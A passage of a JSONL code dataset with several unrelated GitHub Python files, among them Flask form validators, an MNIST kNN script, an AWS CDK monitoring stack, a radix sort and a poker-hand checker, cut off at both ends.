reference result objects\"):\n generate_report([1])\n \n with pytest.raises(ValueError, match=\"show_only must be in {'satisfied', 'unsatisfied', None}\"):\n generate_report(res, show_only=\"foo\")\n","repo_name":"microsoft/pybryt","sub_path":"tests/test_reference.py","file_name":"test_reference.py","file_ext":"py","file_size_in_byte":13827,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"75"} +{"seq_id":"70656932084","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, PasswordField, SubmitField, IntegerField, SelectField\nfrom wtforms.validators import DataRequired, Email, Length, ValidationError\nimport datetime\nfrom wtforms.fields.html5 import DateField, widgets\nfrom .Models import UserStore, Patient_test, Patient_Medicine, Patient_details, Diagnosis, Medicine\nimport re\n\nclass check_alpha(FlaskForm):\n def __init__(self, message):\n if not message:\n message = \"input should contain alphabets only\"\n self.message = message\n\n def __call__(self, form, field):\n name = str(field.data)\n if not name.isalpha():\n raise ValidationError(self.message)\n\n\nclass check_med(FlaskForm):\n def __init__(self, message):\n if not message:\n self.message = \"Medicine Unavailable\"\n self.message = message\n\n def __call__(self, form, field):\n name = form.medicine_name.data\n quant = field.data\n '''\n if Medicine.query.filter(Medicine.medicine_name==name).first()==None:\n raise ValidationError('MEDICINE NOT FOUND IN DATABASE')\n '''\n medicines = Medicine.query.filter(Medicine.medicine_name == name)\n for medicine in medicines:\n if quant > medicine.medicine_quantity or quant < 0:\n raise ValidationError(\"Medicine quantity entered is more than available Quantity!. Available Quantity={}\".format(\n medicine.medicine_quantity))\n\n# custom validator to check password while logging in\n\n\nclass pass_val(FlaskForm):\n def __init__(self, message):\n if not message:\n self.message = \"password criteria not met\"\n self.message = message\n\n def __call__(self, form, field):\n nflag = 0\n cflag = 0\n upflag = 0\n x = str(field.data)\n\n for i in x:\n if i == \" \":\n raise ValidationError('Space not allowed in passwords')\n break\n if i.isnumeric():\n nflag += 1\n\n if (not i.isalnum()) and (not i == ' '):\n cflag += 1\n if i.isupper():\n upflag += 1\n if nflag == 0 or cflag == 0 or upflag == 0:\n raise ValidationError(self.message)\n if len(x) != 10:\n raise ValidationError(\"Password must be 10 characters long\")\n\n\n# class for login page form\nclass Login_form(FlaskForm):\n username = StringField('username', validators=[DataRequired(), Length(\n min=8, message=\"ID should be atleast 8 characters long\")])\n password = PasswordField('password', validators=[DataRequired(), Length(min=10, max=10, message=\"\"), pass_val(\n message=\"password should have atleast 1 numeric and 1 special character and 1 uppercase and should be 10 characters long\")])\n submit = SubmitField('login')\n\n\n# custom validator to check length of integer input fields\nclass check_length(FlaskForm):\n def __init__(self, message, min=-1, max=-1):\n self.min = min\n self.max = max\n if not message:\n self.message = \"input length must be between {} and {}\".format(\n min, max)\n self.message = message\n\n def __call__(self, form, field):\n size = len(str(field.data))\n if Patient_details.query.filter_by(ssn_id=str(field.data)).first() != None:\n raise ValidationError(\"Patient with that id already exists!\")\n if size < self.min or size > self.max:\n raise ValidationError(self.message)\n\n\n# class for patient registration form\nclass Patient_create(FlaskForm):\n ssn_id = IntegerField('ssn id', validators=[DataRequired(\n 'please enter SSN ID in integer format'), check_length(message=\"id must be 9 digits long\", min=9, max=9)])\n patient_name = StringField('patient name', validators=[\n DataRequired('please enter name')])\n patient_age = IntegerField('patient age', widget=widgets.Input(input_type=\"number\"), validators=[DataRequired(\n 'please enter age'), check_length(min=1, max=3, message=\"age should be 1-3 digits long\")])\n date = DateField('enter date', format=\"%Y-%m-%d\", validators=[\n DataRequired('please enter date')], default=datetime.date.today())\n Type_of_bed = SelectField('bed type', choices=[('General ward', 'General ward'), (\n 'Semi sharing', 'Semi sharing'), ('single room', 'single room')], validators=[DataRequired('select ward type')])\n address = StringField('enter address', validators=[\n DataRequired('enter the address')])\n submit = SubmitField('create')\n\n def validate_date(form, date):\n if date.data > datetime.date.today():\n raise ValidationError(\"Date of Admission cannot exceed today's date!\")\n \n def validate_patient_name(form,patient_name):\n if not patient_name.data.isalpha():\n raise ValidationError(\"Name cannot contain numbers/ symbols\")\n\n def validate_address(form,address):\n if not re.match(\"^[a-zA-Z0-9,. ]*$\", address.data):\n raise ValidationError(\"Address can only contain alphabets, numbers, comma and periods!\")\n\n\n# class for delete patient form\nclass Patient_delete(FlaskForm):\n # check_length(message=\"id must be 9 digits long\",min=9, max=9)])\n patient_id = IntegerField('Patient id', validators=[\n DataRequired('please enter Patient ID in integer format')])\n submit = SubmitField('Search')\n\n\nclass delete_result(FlaskForm):\n submit = SubmitField('delete')\n\n\nclass Patient_update(FlaskForm):\n patient_name = StringField('patient name', validators=[\n DataRequired('please enter name')])\n patient_age = IntegerField('patient age', widget=widgets.Input(input_type=\"number\"), validators=[\n DataRequired('please enter age'), check_length(min=1, max=3, message=\"age should be 1-3 digits long\")])\n date = DateField('enter date', format=\"%Y-%m-%d\", validators=[\n DataRequired('please enter date')], default=datetime.date.today())\n Type_of_bed = SelectField('bed type', choices=[('General ward', 'General ward'), (\n 'Semi sharing', 'Semi sharing'), ('single room', 'single room')], validators=[DataRequired('select ward type')])\n address = StringField('enter address', validators=[\n DataRequired('enter the address')])\n submit = SubmitField('update')\n\n def validate_date(form, date):\n if date.data > datetime.date.today():\n raise ValidationError(\"Date of Admission cannot exceed today's date!\")\n \n def validate_patient_name(form,patient_name):\n if not patient_name.data.isalpha():\n raise ValidationError(\"Name cannot contain numbers/ symbols\")\n\n def validate_address(form,address):\n if not re.match(\"^[a-zA-Z0-9,. ]*$\", address.data):\n raise ValidationError(\"Address can only contain alphabets, numbers, comma and periods!\")\n\n\n# class for medicine issuing\nclass issue_medicine_form(FlaskForm):\n medicine = Medicine.query.all()\n meds = []\n for med in medicine:\n meds.append(med.medicine_name)\n #medicine_name=StringField('Medicine name',validators=[DataRequired('Please enter medicine name '),check_alpha('medicine name has to be alphabet only')])\n medicine_name = SelectField(\n 'Select a medicine', choices=[], validators=[DataRequired()])\n quantity = IntegerField('QUANTITY', widget=widgets.Input(input_type=\"number\"), validators=[\n DataRequired('Please enter quantity'), check_med('medicine not found')])\n submit = SubmitField('Add')\n\n\nclass add_diagnosis(FlaskForm):\n x = Diagnosis.query.all()\n lst = []\n label = \"\"\n for i in x:\n label = str(i.test_name)+\" :- ₹\"+str(i.test_amount)\n lst.append((i.test_name, label))\n\n diagnosis = SelectField('diagnosis', choices=lst, validators=[\n DataRequired('please select a test')])\n submit = SubmitField('Add')\n","repo_name":"ayushgd/hms","sub_path":"Forms.py","file_name":"Forms.py","file_ext":"py","file_size_in_byte":8088,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28911680786","text":"import os\r\nimport cv2\r\nimport struct\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import neighbors\r\n\r\n\r\ndef load_mnist(path, kind='train'):\r\n labels_path = os.path.join(path, '%s-labels.idx1-ubyte' % kind)\r\n with open(labels_path, 'rb') as lbpath:\r\n magic, n = struct.unpack('>II', lbpath.read(8))\r\n labels = np.fromfile(lbpath, dtype=np.uint8)\r\n return labels\r\n\r\n\r\ndef getImages():\r\n imgs = np.zeros([60000,784], int)\r\n for i in range(60000):\r\n img1 = cv2.imread('D:/Windows/Windows/Desktop/pku code/pku code/Python/CV/number/trainimages/train' + str(i) + '.jpg', 0)\r\n for rows in range(28):\r\n for cols in range(28):\r\n if img1[rows, cols] >= 127:\r\n img1[rows, cols] = 1\r\n else:\r\n img1[rows, cols] = 0\r\n imgs[i, rows*28 + cols] = img1[rows, cols]\r\n return imgs\r\n\r\n\r\ndef getTestImages():\r\n imgs = np.zeros([10000, 784], int)\r\n for i in range(10000):\r\n img1 = cv2.imread('D:/Windows/Windows/Desktop/pku code/pku code/Python/CV/number/t10kimages/t10k' + str(i) + '.jpg', 0)\r\n for rows in range(28):\r\n for cols in range(28):\r\n if img1[rows, cols] >= 127:\r\n img1[rows, cols] = 1\r\n else:\r\n img1[rows, cols] = 0\r\n imgs[i, rows*28 + cols] = img1[rows, cols]\r\n return imgs\r\n\r\n\r\ny_train = load_mnist('D:/Windows/Windows/Desktop/pku code/pku code/Python/CV/number')\r\ny_test = load_mnist('D:/Windows/Windows/Desktop/pku code/pku code/Python/CV/number', 't10k')\r\n\r\nX_train = getImages()\r\nX_test = getTestImages()\r\n\r\nknn = neighbors.KNeighborsClassifier(algorithm='kd_tree', n_neighbors=3)\r\nknn.fit(X_train, y_train) \r\nresult = knn.predict(X_test)\r\nwrongNum = np.sum(result != y_test)\r\nnum = len(X_test)\r\nprint(\"Total number: \", num)\r\nprint(\"Wrong number: \", wrongNum)\r\nprint(\"RightRate: \", 1-wrongNum/float(num))\r\n\r\n","repo_name":"Harris-pku/pku-cs-lib","sub_path":"code/Python/CV/number_idd.py","file_name":"number_idd.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"27758499301","text":"import re\n\nimport parser.tag_indexer\nfrom . import Parser, derpibooru, ponybooru, twibooru, e621, furbooru, exceptions, tag_indexer\n\n\nurl_pattern = re.compile(r\"https?://\")\nfilename_prefix_pattern = re.compile(r\"[a-z]{2}\\d+\")\n\n\ndef get_parser(url, use_medialib_db: bool):\n class_by_prefix = {\n derpibooru.FILENAME_PREFIX: derpibooru.DerpibooruParser,\n ponybooru.FILENAME_PREFIX: ponybooru.PonybooruParser,\n twibooru.FILENAME_PREFIX: twibooru.TwibooruParser,\n e621.FILENAME_PREFIX: e621.E621Parser,\n furbooru.FILENAME_PREFIX: furbooru.FurbooruParser\n }\n class_by_domain_name = {\n derpibooru.DerpibooruParser.get_domain_name_s(): derpibooru.DerpibooruParser,\n ponybooru.PonybooruParser.get_domain_name_s(): ponybooru.PonybooruParser,\n 'twibooru.org': twibooru.TwibooruParser,\n e621.E621Parser.get_domain_name_s(): e621.E621Parser,\n furbooru.FurbooruParser.get_domain_name_s(): furbooru.FurbooruParser\n }\n raw_parser = None\n if url_pattern.match(url) is not None:\n for domain_name in class_by_domain_name:\n if domain_name in url:\n raw_parser = class_by_domain_name[domain_name](url)\n if raw_parser is None:\n raise exceptions.SiteNotSupported(url)\n elif filename_prefix_pattern.match(url) is not None:\n for prefix in class_by_prefix:\n if prefix in url:\n raw_parser = class_by_prefix[prefix](url[2:])\n if raw_parser is None:\n raise exceptions.NotBoorusPrefixError(url)\n else:\n raw_parser = derpibooru.DerpibooruParser(url)\n if use_medialib_db:\n return parser.tag_indexer.MedialibTagIndexer(raw_parser, url)\n else:\n return parser.tag_indexer.DefaultTagIndexer(raw_parser, url)\n\n","repo_name":"mfg637/Derpibooru-DL","sub_path":"parser/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"33773220866","text":"from dataclasses import dataclass\nfrom src.interpreter import Interpreter\nfrom src.inverter import Inverter\nfrom src.error import Error\n\n\n@dataclass\nclass Rule:\n premised: any\n op: str\n conclusion: any\n premised_facts: list[str]\n conclusion_facts: list[str]\n children: list | None = None\n\n def __repr__(self) -> str:\n return f\"{self.premised} {self.op} {self.conclusion}\"\n\n def infer(self, interpreter: Interpreter, facts: dict[str: int]):\n res_premised = interpreter.visit(self.premised, facts)\n\n if res_premised.value == 1:\n conclusion_memory = {fact: facts[fact] for fact in self.conclusion_facts}\n for fact in self.conclusion_facts:\n # handle when facts have already been inverted (cf multi_conclusions_negation)\n if not facts.get(f'{fact}_inverted'):\n facts[fact] = 1\n\n res_conclusion = interpreter.visit(self.conclusion, facts)\n\n # handle conclusion inverted facts\n if res_conclusion.value == 0:\n for fact in self.conclusion_facts:\n # fact has already been inverted in anterior rule (cf negation3.1)\n if facts.get(f'{fact}_inverted'):\n Error.throw(Error.FAIL, Error.LOGIC_ERROR, f\"In rule \\\"{self.__repr__()}\\\" fact \\\"{fact}\\\" has already been inverted in anterior rule\")\n\n inverter = Inverter()\n inverter.invert(self.conclusion)\n for fact in inverter.to_invert:\n # fact has to be true because of anterior rule/fact (cf negation3.2/negation4/negation5)\n if conclusion_memory[fact] == 1:\n Error.throw(Error.FAIL, Error.LOGIC_ERROR, f\"In rule \\\"{self.__repr__()}\\\" fact \\\"{fact}\\\" can't be inverted because it has been defined as true in anterior rule or initial/premised facts\")\n facts[fact] = 0\n facts[f'{fact}_inverted'] = True\n","repo_name":"ProjectKB/expert_system","sub_path":"src/rule.py","file_name":"rule.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8461345833","text":"#!python\n#!/usr/bin/env python\n\nimport sys\nimport numpy as np\n\ndef read_to_list(path):\n organism_list=[]\n with open(path, 'r') as file:\n data = file.read()\n data = data.splitlines()\n list_of_lists=[]\n for line in data:\n line = line.split('\\t')\n line = [s.strip() for s in line]\n list_of_lists.append(line)\n return list_of_lists\n\ndef process_feature_lst(lst):\n return [[x[0],int(x[1]),float(x[2]),float(x[3]),float(x[4]),float(x[5]),float(x[6]),float(x[7]), int(x[8]), float(x[9])] for x in lst] \n\ndef restructure_organism_list(lst): \n return [[x[0]]+x[2].split(\"; \") for x in lst]\n\ndef merge_lists(lst1,lst2):\n return [ y[1:]+x[1:] for x in lst1 for y in lst2 if x[0].replace(\".fasta\", \"\")==y[0]]\n\ndef filter_insufficient_samples(lst, lst_tx, min_number_samples):\n cnt_lst=[]\n for tx in lst_tx:\n a=[tx,0]\n for x in lst:\n if tx in x:\n a[1]+=1\n cnt_lst.append(a)\n \n lst_tx = [x[0] for x in cnt_lst if x[1]>=min_number_samples]\n return lst_tx\n\ndef classification_structure(lst,map_lst):\n tax=[\"Phylum\",\"Class\",\"Order\",\"Family\",\"Genus\"]\n #Species, Unknown not considerered\n \n new_lst=[]\n for tx in tax:\n clss_lst=[]\n labels=[]\n test=[]\n lst_tx=[x[0] for x in map_lst if x[1]==tx]\n lst_tx=filter_insufficient_samples(lst,lst_tx,4)\n for l_tx, cnt in zip(lst_tx, list(range(len(lst_tx)))):\n for x in lst:\n if l_tx in x: \n clss_lst.append(x[:9])\n labels.append(cnt)\n test.append([l_tx] + x[:9])\n \n clss_lst=np.array(clss_lst)\n labels=np.array(labels).astype('int32')\n np.save(\"../data/\"+tx+'_'+'y_data.npy', labels)\n np.save(\"../data/\"+tx+'_'+'x_data.npy', clss_lst)\n\ndef test_taxa_map(lst,lst_tx):\n for x in lst:\n cnt=0\n lx=[]\n for l_tx in lst_tx:\n if l_tx in x:\n cnt+=1\n lx.append(l_tx)\n if cnt >1:\n print(lx)\n return False\n return True \n\ndef filter_non_read(organism_info, taxa_map):\n organism_info=[org[1:] for org in organism_info]\n organism_info = list(set([item for sublist in organism_info for item in sublist]))\n tax=[tx[0] for tx in taxa_map]\n remaining=[]\n for org in organism_info:\n if org not in tax:\n remaining.append(org)\n remaining.sort()\n remaining = [el for el in remaining if \"unclassified\" not in el]\n remaining = [el for el in remaining if \"Archaea\" not in el]\n\n\nif __name__ == \"__main__\": \n features_path=\"../reports/REPORTS_SEQ_FEATURES\"\n organism_info_path=\"../taxonomic_info/ArcheaSeq_Org.info\"\n taxa_map_path=\"../taxonomic_info/taxa_map.info\"\n organism_info=restructure_organism_list(read_to_list(organism_info_path))\n taxa_map=read_to_list(taxa_map_path) \n features=process_feature_lst(read_to_list(features_path))\n # unique_groups=list(set([x[1] for x in taxa_map]))\n\n archea_lst=merge_lists(organism_info,features)\n \n organism_info=classification_structure(archea_lst,taxa_map)\n print(\"classification dataset created!\")\n \n\n","repo_name":"jorgeMFS/Archaea2","sub_path":"python_src/create_classification_dataset.py","file_name":"create_classification_dataset.py","file_ext":"py","file_size_in_byte":3251,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"17918594898","text":"def merge(list_1, list_2, ind):\n i = 0\n j = 0\n merge_list = []\n\n while i < len(list_1) and j < len(list_2):\n if list_1[i][ind] <= list_2[j][ind]:\n merge_list.append(list_1[i])\n i += 1\n else:\n merge_list.append(list_2[j])\n j += 1\n\n merge_list += list_1[i:] + list_2[j:]\n\n return merge_list\n\n\ndef merge_sort(list_, ind):\n if len(list_) < 2:\n return list_\n\n middle = len(list_) // 2\n return merge(merge_sort(list_[:middle], ind), merge_sort(list_[middle:], ind), ind)\n\n\nwith open('radixsort.in', 'r') as file_read:\n lines = file_read.readlines()\n\nfile_write = open('radixsort.out', 'w')\n\nn, m, k = map(int, lines[0].rstrip().split())\narr = [lines[i].strip().rstrip() for i in range(1, n+1)]\ntemp = 0\ncount = 0\nfor i in range(m-1, -1, -1):\n arr = merge_sort(arr, i)\n count += 1\n if count == k:\n break\nprint(*arr, sep='\\n', file=file_write)\nfile_write.close()\n","repo_name":"miht-sem/algorithms-and-data-structures-labs","sub_path":"Lab3/radixSortC.py","file_name":"radixSortC.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20683559898","text":"''' this file defines the InfraStack'''\nfrom aws_cdk import core as cdk\n\n# For consistency with other languages, `cdk` is the preferred import name for\n# the CDK's core module. The following line also imports it as `core` for use\n# with examples from the CDK Developer's Guide, which are in the process of\n# being updated to use `cdk`. You may delete this import if you don't need it.\n\n# Importing the required libraries\nfrom aws_cdk import core\nfrom aws_cdk import aws_lambda_event_sources\nfrom aws_cdk import aws_dynamodb as dynamodb\nfrom aws_cdk import aws_lambda as lambda_\nfrom aws_cdk import aws_events\nfrom aws_cdk import aws_events_targets\nfrom aws_cdk import aws_iam\nfrom aws_cdk import aws_cloudwatch as cloudwatch\nfrom aws_cdk import aws_sns\nfrom aws_cdk import aws_cloudwatch_actions\nfrom aws_cdk import aws_codedeploy as codedeploy\nfrom aws_cdk import aws_apigateway as apigw\nimport random\n\n\n# Import files to be used\nimport lambda_folder.constants as constants\nimport lambda_folder.url_retriever as url_retriever\n\nclass InfraStackRizwan(cdk.Stack):\n # InfraStackRizwan constructor\n def __init__(self, scope: cdk.Construct, construct_id: str, **kwargs) -> None:\n super().__init__(scope, construct_id, **kwargs)\n role = self.create_lambda_role()\n \n # The code that defines your stack goes here\n # Creating the lambda function below, function has been named firstlambda, and its handler function named health_web\n # is available in file named mult_whp\n web_health_lambda = self.create_lambda('firstlambda', './lambda_folder','mult_whp.health_web',role)\n logger_lambda = self.create_lambda('loggerlambda', './lambda_folder','mult_whp.log_lambda',role)\n # Defining schedule to run Lambda function periodically\n lambda_schedule=aws_events.Schedule.rate(core.Duration.minutes(5))\n # Defining which event will occur periodically, in our case Lambda function will be called periodically\n event_lambda_target=aws_events_targets.LambdaFunction(handler=web_health_lambda)\n # Combining the schedule and target \n lambda_run_rule=aws_events.Rule(self,\"web_health_lambdarule\", description=\"Periodic_lambda\",schedule=lambda_schedule, targets=[event_lambda_target])\n # Getting list of websites to monitor from a S3 bucket, the function to retrieve the list from bucket has been defined\n # in a file named bucket_challenge\n URLS=url_retriever.url_list(constants.api_table_name)\n #URLS= [\"https://www.skipq.org\", \"https://www.espn.com.au/\", \"https://www.bbc.com/news\", \"https://shaukatkhanum.org.pk/\"]\n # ARN of topic named alarms_testing, this topic will publish alarms and mail them to subscribers\n topic_arn=constants.TOPIC_ARN\n # Retreiving the topic \"alarms_testing\" from list of topics\n topic=aws_sns.Topic.from_topic_arn(self, id=\"main alarm_topic\", topic_arn=topic_arn)\n # Adding SNS as action source for logger lambda\n event_source=logger_lambda.add_event_source(aws_lambda_event_sources.SnsEventSource(topic))\n \n # Lambda for pipeline\n pipeline_api_lambda = self.create_lambda('pipeline_api_lambda', './lambda_folder','new.handler',role)\n \n # Granting permission to API Gateway to invoke Lmabda\n principal = aws_iam.ServicePrincipal(\"apigateway.amazonaws.com\")\n pipeline_api_lambda.grant_invoke(principal)\n \n # Making REST API\n api = apigw.LambdaRestApi(self, \"pipeline_api\",\n handler=pipeline_api_lambda,\n proxy=True\n )\n\n \n \n for i in URLS:\n # Defining dimensions of metrics\n dimensions={'website name':i}\n \n # Defining metrics\n availability_metric=cloudwatch.Metric( metric_name=constants.URL_MONITOR_METRIC_AVAILABILITY, namespace=constants.URL_MONITOR_NAMESPACE, dimensions=dimensions)\n \n latency_metric=cloudwatch.Metric( metric_name=constants.URL_MONITOR_METRIC_LATENCY, namespace=constants.URL_MONITOR_NAMESPACE, dimensions=dimensions)\n\n # Defining Alarms\n alarm_latency=cloudwatch.Alarm(self, metric=latency_metric, id='URL_MONITOR_METRIC_LATENCY_ALARM_{}'.format(i), treat_missing_data=cloudwatch.TreatMissingData.BREACHING\n , evaluation_periods=1, threshold=constants.THRESHOLD_OF_LATENCY, comparison_operator=cloudwatch.ComparisonOperator.GREATER_THAN_THRESHOLD, datapoints_to_alarm=1)\n \n alarm_availability=cloudwatch.Alarm(self, metric= availability_metric, id='URL_MONITOR_METRIC_AVAILABILITY_ALARM_{}'.format(i), treat_missing_data=cloudwatch.TreatMissingData.BREACHING\n , evaluation_periods=1, threshold=constants.THRESHOLD_OF_AVAILABILITY, comparison_operator=cloudwatch.ComparisonOperator.LESS_THAN_THRESHOLD, datapoints_to_alarm=1)\n \n # Adding Alarm Actions\n alarm_latency.add_alarm_action(aws_cloudwatch_actions.SnsAction(topic))\n \n alarm_availability.add_alarm_action(aws_cloudwatch_actions.SnsAction(topic))\n \n # Adding Duration Metric \n lambda_duration_metric=cloudwatch.Metric( metric_name='Duration', namespace='AWS/Lambda', dimensions={'FunctionName':web_health_lambda.function_name})\n lambda_errors_metric=cloudwatch.Metric( metric_name='Errors', namespace='AWS/Lambda', dimensions={'FunctionName':web_health_lambda.function_name})\n\n # Adding Alarm \n alarm_lambda_duration=cloudwatch.Alarm(self, metric= lambda_duration_metric, id='LAMBDA_DURATION_ALARM', treat_missing_data=cloudwatch.TreatMissingData.BREACHING\n , evaluation_periods=1, threshold=constants.THRESHOLD_OF_DURATION, comparison_operator=cloudwatch.ComparisonOperator.GREATER_THAN_THRESHOLD, datapoints_to_alarm=1)\n \n alarm_lambda_errors=cloudwatch.Alarm(self, metric= lambda_errors_metric, id='LAMBDA_ERRORS_ALARM', treat_missing_data=cloudwatch.TreatMissingData.BREACHING\n , evaluation_periods=1, threshold=constants.THRESHOLD_OF_ERRORS, comparison_operator=cloudwatch.ComparisonOperator.GREATER_THAN_THRESHOLD, datapoints_to_alarm=1)\n \n \n # Lambda Alias and CodeDeploy\n lf_alias=lambda_.Alias(self, id=\"alias_of_web_health\", alias_name='whlf_00'.join(random.choice('0123456789ABCDEF') for i in range(4)), version=web_health_lambda.current_version, provisioned_concurrent_executions=100, retry_attempts=2)\n arb=codedeploy.AutoRollbackConfig( deployment_in_alarm=True, failed_deployment=True, stopped_deployment=True)\n codedeploy.LambdaDeploymentGroup(self, id=\"code_deploy\", alias=lf_alias, alarms=[alarm_lambda_duration, alarm_lambda_errors ], auto_rollback=arb)\n \n \n \n # A function to create lambda function\n def create_lambda(self, id, asset, handler, role):\n \n # Returning lambda function \n return lambda_.Function(self, id,\n code=lambda_.Code.asset(asset),\n handler=handler, timeout=core.Duration.seconds(100),\n runtime=lambda_.Runtime.PYTHON_3_6, role=role)\n \n # A function to create lambda role \n def create_lambda_role(self):\n # Create a role\n lambdaRole = aws_iam.Role(self, \"lambda-role\", \n assumed_by=aws_iam.ServicePrincipal('lambda.amazonaws.com'), \n managed_policies=[ \n # Adding Policies\n aws_iam.ManagedPolicy.from_aws_managed_policy_name('service-role/AWSLambdaBasicExecutionRole'),\n aws_iam.ManagedPolicy.from_aws_managed_policy_name('CloudWatchFullAccess'),\n aws_iam.ManagedPolicy.from_aws_managed_policy_name('AmazonS3FullAccess'),\n aws_iam.ManagedPolicy.from_aws_managed_policy_name('AmazonDynamoDBFullAccess'),\n aws_iam.ManagedPolicy.from_aws_managed_policy_name('AWSCodePipeline_FullAccess'),\n aws_iam.ManagedPolicy.from_aws_managed_policy_name('AWSCodeDeployFullAccess'),\n aws_iam.ManagedPolicy.from_aws_managed_policy_name('AmazonSSMFullAccess')\n \n \n ])\n lambdaRole.add_to_policy(aws_iam.PolicyStatement(\n resources=[\"*\"],\n actions=[\"sts:AssumeRole\"]\n ))\n lambdaRole.add_to_policy(aws_iam.PolicyStatement(\n resources=[\"*\"],\n actions=[\"ssm:GetParameter\"]\n ))\n \n return lambdaRole\n \n \n \n \n ","repo_name":"rizwan2021skipq/sprint3","sub_path":"infra/infra/infra_stack.py","file_name":"infra_stack.py","file_ext":"py","file_size_in_byte":8712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29747081729","text":"'''\nFunctie cu parametru de input lista de tuple (valoare_carte, culoare_carte)\nPentru fiecare valoarea unica in carti_val verificam cu count() daca avem 2 sau 3 pentru a vedea daca este vorba de o pereche sau un trio\nCazul special pentru ambele situatii este full-house atunci cand perechea si trio-ul se gasesc in acelasi timp intr-o mana\nPentru verificarea de culoare, pt fiecare culoare din mana (printr-un for) se numara cate carti sunt de acea culoare, daca sunt 5 avem culoare\nPe langa asta, o conditie extra, daca cartile ordonate sunt de forma [\"10\", \"A\", \"J\", \"K\", \"Q\"] atunci avem chinta roiala\n'''\n\ndef verifica_mana(carti):\n #lista de tuple\n carti_val = [carte[0] for carte in carti] # obținem lista de valori ale cărților\n carti_cul = [carte[1] for carte in carti] # obținem lista de culori ale cărților\n\n # Verificăm dacă avem o pereche sau un trio\n for valoare in set(carti_val):\n if carti_val.count(valoare) == 2: # avem o pereche\n for valoare2 in set(carti_val):\n if valoare != valoare2 and carti_val.count(valoare2) == 3: # avem un trio\n print(\"Jucătorul a câștigat o mână cu full!\") # avem un full\n return True\n print(\"Jucătorul a câștigat o mână cu o pereche!\")\n return True\n elif carti_val.count(valoare) == 3: # avem un trio\n for valoare2 in set(carti_val):\n if valoare != valoare2 and carti_val.count(valoare2) == 2: # avem o pereche\n print(\"Jucătorul a câștigat o mână cu full!\") # avem un full\n return True\n print(\"Jucătorul a câștigat o mână cu un trio!\")\n return True\n\n # Verificăm dacă avem o chintă de culoare\n for culoare in set(carti_cul):\n if carti_cul.count(culoare) == 5:\n valori_carti_culoare = sorted(\n [valoare for index, valoare in enumerate(carti_val) if carti_cul[index] == culoare])\n #sunt ordonate asa pt ca sort le ordoneaza dupa cod\n if valori_carti_culoare == [\"10\", \"A\", \"J\", \"K\", \"Q\"]:\n print(\"Jucătorul a câștigat o mână cu chintă roiala!\")\n else:\n print(\"Jucătorul a câștigat o mână cu o culoare!\")\n return True\n\nverifica_mana([(\"A\", \"inima\"), (\"A\", \"trefla\"), (\"K\", \"inima\"), (\"Q\", \"inima\"), (\"J\", \"inima\")]) #Pereche 2\nverifica_mana([(\"A\", \"inima\"), (\"A\", \"trefla\"), (\"A\", \"pica\"), (\"Q\", \"inima\"), (\"J\", \"inima\")]) #Pereche 3\nverifica_mana([(\"A\", \"inima\"), (\"A\", \"trefla\"), (\"A\", \"pica\"), (\"Q\", \"inima\"), (\"Q\", \"pica\")]) #Full House\nverifica_mana([(\"A\", \"caro\"), (\"3\", \"caro\"), (\"K\", \"caro\"), (\"Q\", \"caro\"), (\"J\", \"caro\")]) #Culoare\nverifica_mana([(\"10\", \"trefla\"), (\"J\", \"trefla\"), (\"Q\", \"trefla\"), (\"K\", \"trefla\"), (\"A\", \"trefla\")]) #Chinta Roiala\n\n","repo_name":"xDeimen/Python_Labs","sub_path":"Lab2/Huszar_Istvan_Lab2_Ex6.py","file_name":"Huszar_Istvan_Lab2_Ex6.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"ro","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"1315503486","text":"from typing import Dict, Any\n\nfrom sonos_speaker import SonosSpeaker\n\n\nclass DefaultSonosSpeaker(SonosSpeaker):\n\n default_volume: float = 0.2\n default_volume_timeout_sec: int = 3600\n\n def initialize(self):\n super().initialize()\n self.default_volume = self.args[\"default_volume\"]\n # self.listen_state(self.on_pause_timeout,\n # entity=self.entity_id,\n # duration=self.default_volume_timeout_sec,\n # immediate=True,\n # new=\"paused\")\n # self.listen_state(self.on_pause_timeout,\n # entity=self.entity_id,\n # duration=self.default_volume_timeout_sec,\n # immediate=True,\n # new=\"idle\")\n\n def on_pause_timeout(self, entity: str, attribute: str, old: str, new: str, kwargs: Dict[str, Any]) -> None:\n self.set_volume(self.default_volume)\n self.unjoin_group()\n\n def say(self, message: str, language: str = \"de\") -> None:\n\n was_in_group = self.is_in_group()\n\n if was_in_group:\n self.unjoin_group()\n\n super().say(message, language)\n\n if was_in_group:\n self.join_group()\n","repo_name":"LorToso/home_automation","sub_path":"appdaemon/apps/speaker/default_sonos_speaker.py","file_name":"default_sonos_speaker.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"410151547","text":"import pyBigWig\nimport os\nimport numpy as np\n#from .tools import convert_cpgs_notations\n\n#bw_hg38_phylop = pyBigWig.open(os.path.join(os.path.dirname(__file__),\"hg38.phyloP100way.bw\"), \"r\")\n#bw_hg38_phastcons = pyBigWig.open(os.path.join(os.path.dirname(__file__),\"hg38.phastCons100way.bw\"), \"r\")\n\n#bw_hg19_phylop = pyBigWig.open(os.path.join(os.path.dirname(__file__),\"hg19.phyloP100way.bw\"), \"r\")\n#bw_hg19_phastcons = pyBigWig.open(os.path.join(os.path.dirname(__file__),\"hg19.phastCons100way.bw\"), \"r\")\n\ndef convert_cpgs_notations(cpg):\n try:\n if '_' in cpg:\n ch, pos = cpg.split('_')\n pos_st = int(pos)\n pos_end = int(pos) + 1\n 